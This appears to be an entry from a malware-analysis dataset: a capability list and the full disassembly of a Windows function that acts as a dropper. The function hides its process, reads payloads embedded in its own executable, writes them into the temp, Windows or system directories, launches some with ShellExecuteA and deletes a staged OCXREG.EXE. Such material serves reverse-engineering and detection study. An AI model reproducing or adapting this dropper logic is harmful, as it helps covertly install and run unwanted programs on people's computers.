Function at 0x401324
Capabilities:
Create process on windows
Delete file
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
mov dword [ebp - 0x630], 0
call main
or eax, eax
jne 0x40136e
push str.kernel32.dll
call sub.KERNEL32.DLL_LoadLibraryA
mov edi, eax
or edi, edi
je 0x40136e
push str.RegisterServiceProcess
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov esi, eax
or esi, esi
je 0x40136e
call sub.KERNEL32.DLL_GetCurrentProcessId
push 1
push eax
call esi
lea eax, [ebp - 0x424]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
or eax, eax
jne 0x401396
push 0x403040
lea eax, [ebp - 0x424]
push eax
call fcn.004019b0
jmp 0x4013c7
lea ecx, [ebp - 0x424]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40139f
sub eax, 1
cmp byte [ebp + eax - 0x424], 0x5c
je 0x4013c7
push 0x403040
lea eax, [ebp - 0x424]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x320]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
or eax, eax
jne 0x4013ef
push 0x403040
lea eax, [ebp - 0x320]
push eax
call fcn.004019b0
jmp 0x401420
lea ecx, [ebp - 0x320]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4013f8
sub eax, 1
cmp byte [ebp + eax - 0x320], 0x5c
je 0x401420
push 0x403040
lea eax, [ebp - 0x320]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x528]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
or eax, eax
jne 0x401448
push 0x403040
lea eax, [ebp - 0x528]
push eax
call fcn.004019b0
jmp 0x401479
lea ecx, [ebp - 0x528]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401451
sub eax, 1
cmp byte [ebp + eax - 0x528], 0x5c
je 0x401479
push 0x403040
lea eax, [ebp - 0x528]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x403040
lea eax, [ebp - 0x838]
push eax
call fcn.004019b0
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
call fcn.004019b0
push str.OCXREG.EXE
lea eax, [ebp - 0x62c]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x734]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
or eax, eax
je 0x401939
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x734]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014f5
xor eax, eax
jmp 0x401939
push 0
push 0
push 0x1a20
push edi
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x401516
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x401939
push 0
lea eax, [ebp - 4]
push eax
push 4
push section..bss
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x40153a
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x401939
push 0
push 0
push dword [section..bss]
push edi
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x40155c
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x401939
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x402134
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x401580
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x401939
mov dword [ebp - 8], 0
jmp 0x401904
mov ecx, 8
xor eax, eax
push edi
mov edi, 0x402010
rep stosd dword es:[edi], eax
pop edi
mov ecx, 0x41
xor eax, eax
push edi
mov edi, 0x402030
rep stosd dword es:[edi], eax
pop edi
mov ecx, 0x41
xor eax, eax
push edi
mov edi, 0x402140
rep stosd dword es:[edi], eax
pop edi
push 0
lea eax, [ebp - 4]
push eax
push 0x20
push 0x402010
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x401912
push 0
lea eax, [ebp - 4]
push eax
push dword [0x402028]
push 0x402030
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x401912
cmp dword [0x40202c], 0
jle 0x40161f
push 0
lea eax, [ebp - 4]
push eax
push dword [0x40202c]
push 0x402140
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x40162e
jmp 0x401912
push 0x403034
push 0x402140
call fcn.004019b0
push 1
push 0
push 0
push edi
call sub.KERNEL32.DLL_SetFilePointer
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401912
xor esi, esi
cmp dword [0x402014], esi
je 0x401714
push dword [0x402014]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x114], eax
xor esi, esi
cmp eax, esi
xchg esi, eax
sete al
xchg esi, eax
or esi, esi
jne 0x401770
push 0
push 0
push dword [0x402010]
push edi
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x401912
xor ecx, ecx
inc ecx
xor eax, eax
push edi
mov edi, dword [ebp - 0x114]
rep stosd dword es:[edi], eax
pop edi
push 0
lea eax, [ebp - 4]
push eax
push dword [0x402014]
push dword [ebp - 0x114]
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x401912
mov eax, dword [0x402018]
inc eax
push eax
call sub.CRTDLL.DLL_malloc
add esp, 4
mov ebx, eax
xor esi, esi
cmp eax, esi
xchg esi, eax
sete al
xchg esi, eax
or esi, esi
jne 0x401706
xor ecx, ecx
inc ecx
xor eax, eax
push edi
mov edi, ebx
rep stosd dword es:[edi], eax
pop edi
push ebx
push dword [ebp - 0x114]
call fcn.0040126b
add esp, 8
xor esi, esi
cmp eax, dword [0x402018]
xchg esi, eax
setne al
xchg esi, eax
push dword [ebp - 0x114]
call sub.CRTDLL.DLL_free
pop ecx
jmp 0x401770
push dword [0x402018]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov ebx, eax
xor esi, esi
cmp eax, esi
xchg esi, eax
sete al
xchg esi, eax
or esi, esi
jne 0x401770
xor ecx, ecx
inc ecx
xor eax, eax
push edi
mov edi, ebx
rep stosd dword es:[edi], eax
pop edi
push 0
push 0
push dword [0x402010]
push edi
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x401912
push 0
lea eax, [ebp - 4]
push eax
push dword [0x402018]
push ebx
push edi
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x401912
or esi, esi
jne 0x4018e6
cmp dword [0x402020], esi
jne 0x401795
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004019b0
jmp 0x4017e4
cmp dword [0x402020], 1
jne 0x4017b3
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004019b0
jmp 0x4017e4
cmp dword [0x402020], 2
jne 0x4017d1
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004019b0
jmp 0x4017e4
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004019b0
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004019b0
push 0x402030
lea eax, [ebp - 0x110]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x118], eax
cmp eax, 0xffffffff
je 0x4018e6
cmp dword [0x402024], 2
jne 0x40188b
push 0x403030
push 0x402140
call fcn.004019b0
lea eax, [ebp - 0x110]
push eax
push 0x402140
call sub.CRTDLL.DLL_strcat
add esp, 8
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004019b0
mov dword [0x40201c], 0
mov dword [ebp - 0x630], 1
push 0
lea eax, [ebp - 4]
push eax
push dword [0x402018]
push ebx
push dword [ebp - 0x118]
call sub.KERNEL32.DLL_WriteFile
or eax, eax
je 0x401912
push dword [ebp - 0x118]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [0x402024], 0
je 0x4018c4
cmp dword [0x402024], 2
jne 0x4018e6
push dword [0x40201c]
lea eax, [ebp - 0x21c]
push eax
push 0x402140
lea eax, [ebp - 0x110]
push eax
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
push ebx
call sub.CRTDLL.DLL_free
add esp, 4
push 0
push 0
push dword [ebp - 0xc]
push edi
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x401912
inc dword [ebp - 8]
mov eax, dword [0x402134]
cmp dword [ebp - 8], eax
jl 0x40158c
push edi
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0x630], 0
je 0x401937
push 0x7d0
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0x62c]
push eax
call sub.KERNEL32.DLL_DeleteFileA
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10